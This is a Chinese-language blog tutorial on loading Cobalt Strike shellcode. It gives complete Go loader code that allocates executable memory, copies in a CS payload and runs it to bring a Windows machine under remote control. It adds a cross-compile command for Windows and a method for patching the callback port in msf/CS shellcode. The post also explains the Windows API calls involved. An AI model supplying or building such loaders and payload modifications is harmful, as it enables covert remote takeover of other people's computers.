淺談cs的shellcode的使用方法

前言:學(xué)習(xí)心得,大佬勿噴

看完本文你會(huì)了解到:

1、cs中的shellcode是做什么的?

2、用類似于cs、msf生成的shellcode的加載器是什么樣的?

3、windows api是什么?

4、怎樣從msf及cs生成的shellcode里直接修改監(jiān)聽(tīng)ip和監(jiān)聽(tīng)端口?

準(zhǔn)備工作

shellcode是一段用于利用軟件漏洞而執(zhí)行的代碼,shellcode為16進(jìn)制的機(jī)器碼,因?yàn)榻?jīng)常讓攻擊者獲得shell而得名。我們經(jīng)常在CS里面生成指定編程語(yǔ)言的payload,而這個(gè)payload里面就是一段十六進(jìn)制的機(jī)器碼。

使用cs生成一個(gè)c的payload

1

這個(gè)文件里面就是一段shllcode。

2

接下來(lái)我們從編寫(xiě)shellcode加載器開(kāi)始到運(yùn)行上線CS來(lái)分析一下這個(gè)shellcode做了什么。

0x01 shellcode加載器介紹及cs上線操作

要想運(yùn)行shellcode并上線機(jī)器的話,最常見(jiàn)的辦法就是編寫(xiě)shellcode加載器,那么什么是shellcode加載器呢?

我們知道在計(jì)算機(jī)中無(wú)論什么程序到最后都會(huì)轉(zhuǎn)換成二進(jìn)制代碼讓CPU去運(yùn)行,而CPU是負(fù)責(zé)運(yùn)算和處理的,內(nèi)存是交換數(shù)據(jù)的,沒(méi)有內(nèi)存,CPU就沒(méi)法接收到數(shù)據(jù)。內(nèi)存是計(jì)算機(jī)與CPU進(jìn)行溝通的橋梁。計(jì)算機(jī)中所有程序的運(yùn)行都是在內(nèi)存中進(jìn)行的。

所以shellcode加載器就是為shellcode申請(qǐng)一段內(nèi)存然后把shellcode加載到內(nèi)存中讓機(jī)器執(zhí)行這段shellcode,也就是說(shuō)這個(gè)加載器就是個(gè)讓shellcode運(yùn)行起來(lái)的東西(這不是廢話么)。下面我復(fù)制粘貼了段go語(yǔ)言的shellcode的加載器,我們可以用這歌加載器來(lái)上線windows機(jī)器。

package main

import (
    _"io/ioutil"
    "os"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")         //調(diào)用kernel32.dll
    ntdll         = syscall.MustLoadDLL("ntdll.dll")            //調(diào)用ntdll.dll
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")       //使用kernel32.dll調(diào)用ViretualAlloc函數(shù)
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")         //使用ntdll調(diào)用RtCopyMemory函數(shù)
    shellcode_buf = []byte{
        // 你的shellcode,0x3f, 0x2e...格式的
    }
)

func checkErr(err error) {
    if err != nil {       //如果內(nèi)存調(diào)用出現(xiàn)錯(cuò)誤,可以報(bào)出
        if err.Error() != "The operation completed successfully." { //如果調(diào)用dll系統(tǒng)發(fā)出警告,但是程序運(yùn)行成功,則不進(jìn)行警報(bào)
            println(err.Error()) //報(bào)出具體錯(cuò)誤
            os.Exit(1)
        }
    }
}

func main() {
    shellcode := shellcode_buf

    //調(diào)用VirtualAlloc為shellcode申請(qǐng)一塊內(nèi)存
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }

    //調(diào)用RtlCopyMemory來(lái)將shellcode加載進(jìn)內(nèi)存當(dāng)中
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)

    //syscall來(lái)運(yùn)行shellcode
    syscall.Syscall(addr, 0, 0, 0, 0)
}

在shellcode_buf里面放好前面cs生成的c的payload時(shí)后來(lái)編譯運(yùn)行。

windows機(jī)器上正常編譯,MacOS與linux機(jī)器或者其他操作系統(tǒng)上運(yùn)行下面這段代碼來(lái)編譯。

CGO_ENABLED=0 GOOS=windows  go build main.go
3

這行自行腦補(bǔ)一張win10打開(kāi)main.exe的圖片。

4

成功上線,這就是我們上線機(jī)器的過(guò)程,接下來(lái)我們來(lái)一步步的去分析這個(gè)過(guò)程事如何實(shí)現(xiàn)的

0x02 shellcode加載器所用數(shù)據(jù)類型及 Windows API 函數(shù)大致介紹

[ + ] VirtualAlloc

VirtualAlloc 是 Windows API 函數(shù)。該函數(shù)的功能是在調(diào)用進(jìn)程的虛地址空間,預(yù)定或者提交一部分頁(yè)。簡(jiǎn)單點(diǎn)的意思就是申請(qǐng)內(nèi)存空間。包含在 Windows 系統(tǒng)文件 Kernel32.dll 中。

使用詳情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

5

調(diào)用VirtualAlloc的話需要有四個(gè)參數(shù),如文檔中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每個(gè)參數(shù)的介紹如下:

lpAddress:內(nèi)存指針,規(guī)定開(kāi)始的地方。

dwSize:要用內(nèi)存的大小。

flAllocationType*:內(nèi)存類型,規(guī)定要怎么去用這塊內(nèi)存

flProtect:內(nèi)存屬性

[ + ] RtlMoveMemory

RtlCopyMemory是 Windows API 函數(shù)。該函數(shù)可以從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里。簡(jiǎn)稱:復(fù)制內(nèi)存。它包含在 Ntdll.dll 中

6

調(diào)用 RtlMoveMemory 的話需要三個(gè)參數(shù),如文檔中提到的Destination、Source、Length,其中每個(gè)參數(shù)的介紹如下:

Destination:指向要復(fù)制字節(jié)的目標(biāo)內(nèi)存塊的指針。

Source:指向要復(fù)制字節(jié)的源內(nèi)存塊的指針。

Length:從源復(fù)制到目標(biāo)中的字節(jié)數(shù)。

[ + ] uintptr*

整型,可以足夠保存指針的值得范圍

[ + ] syscall*

系統(tǒng)調(diào)用。syscall包包含一個(gè)指向底層操作系統(tǒng)原語(yǔ)的接口,它接收4個(gè)參數(shù),其中trap為中斷信號(hào),a1,a2,a3為底層調(diào)用函數(shù)對(duì)應(yīng)的參數(shù)。具體用法為:

syscall.Syscall(trap, a1, a2, a3 uintptr)

其中用不到的補(bǔ)0就行。

[ + ] golang調(diào)用windows api

參考文章:http://m.itdecent.cn/p/8e454a012cdc。關(guān)鍵詞:golang調(diào)用windows api(這里主要針對(duì)go語(yǔ)言,師傅們可以嘗試去寫(xiě)一個(gè)其他語(yǔ)言的shellcode加載器,原理都是調(diào)用windows api)。

0x03 shellcode加載器代碼分析

加載器加載shellcode就是用go調(diào)用windows api然后操作內(nèi)存來(lái)實(shí)現(xiàn)的。

1. 從入口函數(shù)main起看,首先是聲明一個(gè)shellcode變量并賦值。

shellcode := shellcode_buf

2. 接下來(lái)用VirtualAlloc為shellcode申請(qǐng)了一段內(nèi)存空間。

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

在這行代碼中,我們用go語(yǔ)言調(diào)用了windpws api中的VirtualAlloc函數(shù),它在 Windows 系統(tǒng)文件 Kernel32.dll 中(0x02開(kāi)頭有官方的函數(shù)用法介紹),因此我們?cè)陂_(kāi)頭有幾行代碼是調(diào)用dll中的函數(shù)的

7

繼續(xù)來(lái)看VirtualAlloc函數(shù),這里面有四個(gè)參數(shù)分別是:

addrlpAddress               <==         0                                               // 內(nèi)存指針,規(guī)定開(kāi)始的地方。
dwSize                          <==         uintptr(len(shellcode)) // 內(nèi)存分配的大小,必須得是uintptr型
flAllocationType      <==           MEM_COMMIT|MEM_RESERVE  // 內(nèi)存類型,規(guī)定要怎么去用這塊內(nèi)存,具體見(jiàn)下表
flProtect                       <==         PAGE_EXECUTE_READWRITE  // 內(nèi)存屬性,具體見(jiàn)下下表

MEM_COMMIT|MEM_RESERVE

15

3. 然后調(diào)用RtlCopyMemory函數(shù)來(lái)將shellcode加載進(jìn)內(nèi)存當(dāng)中

_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

RtlCopyMemory函數(shù)對(duì)應(yīng)的三個(gè)參數(shù)分別是

Destination                 <==         addr變量,指向要復(fù)制字節(jié)的目標(biāo)內(nèi)存塊的指針。
Source                          <==                 (uintptr)(unsafe.Pointer(&shellcode[0])),指向要復(fù)制字節(jié)的源內(nèi)存塊的指針。
Length                          <==                 uintptr(len(shellcode)) 從源復(fù)制到目標(biāo)中的字節(jié)數(shù)。

4. 最后使用syscall來(lái)執(zhí)行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)           // 用不到的就補(bǔ)0

到這里一個(gè)基本的shellcode加載器就實(shí)現(xiàn)了,總而言之就是:

申請(qǐng)內(nèi)存-->把shellcode加載到內(nèi)存-->讓這段內(nèi)存里的東西運(yùn)行起來(lái)

0x04 從shellcode里直接修改上線IP與端口

一、前奏小知識(shí)

1. 端口為什么會(huì)是65535個(gè)?

在TCP、UDP協(xié)議的開(kāi)頭,會(huì)分別有16位來(lái)存儲(chǔ)源端口號(hào)和目標(biāo)端口號(hào),所以端口個(gè)數(shù)是216-1=65535個(gè)。簡(jiǎn)單來(lái)講端口就是從十六進(jìn)制的0000-FFFF

8
2. 內(nèi)存地址是從低地址到高地址記錄的

例如

9

一個(gè)內(nèi)存單元比如0x000001可以存放一個(gè)字節(jié),比如把55555轉(zhuǎn)換成十六進(jìn)制就是D903:

10

而一個(gè)字節(jié)就是D9或者03,在D903中,因?yàn)樽衷诩拇嫫髦惺沁@樣儲(chǔ)存的

11

所以D9屬于高位,03屬于低位,如果要放在內(nèi)存里面從0x000001開(kāi)始的話就是0X000001放著03,0x000002放著D9

二、修改上線IP與端口

假如你生成的端口為5555,把它轉(zhuǎn)換為十六進(jìn)制就是D903,我們反過(guò)來(lái)搜03D9就可以了(根據(jù)生成shellcode的格式自行搜索,或者只搜索一個(gè)D9,然后看它前面的是不是03,如果是的話就說(shuō)明這倆個(gè)字節(jié)就是我們的上線端口),這樣就確定了監(jiān)聽(tīng)端口的位置。

12

接下來(lái)把要替換的端口號(hào)轉(zhuǎn)換成十六進(jìn)制

13

然后再倒序修改shellcode里面監(jiān)聽(tīng)的端口號(hào)的位置

14

好了,這樣就修改成功了,放到加載器去上線吧,修改監(jiān)聽(tīng)I(yíng)P,留給大家思考。

求走過(guò)路過(guò)的大佬的一個(gè)小贊

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容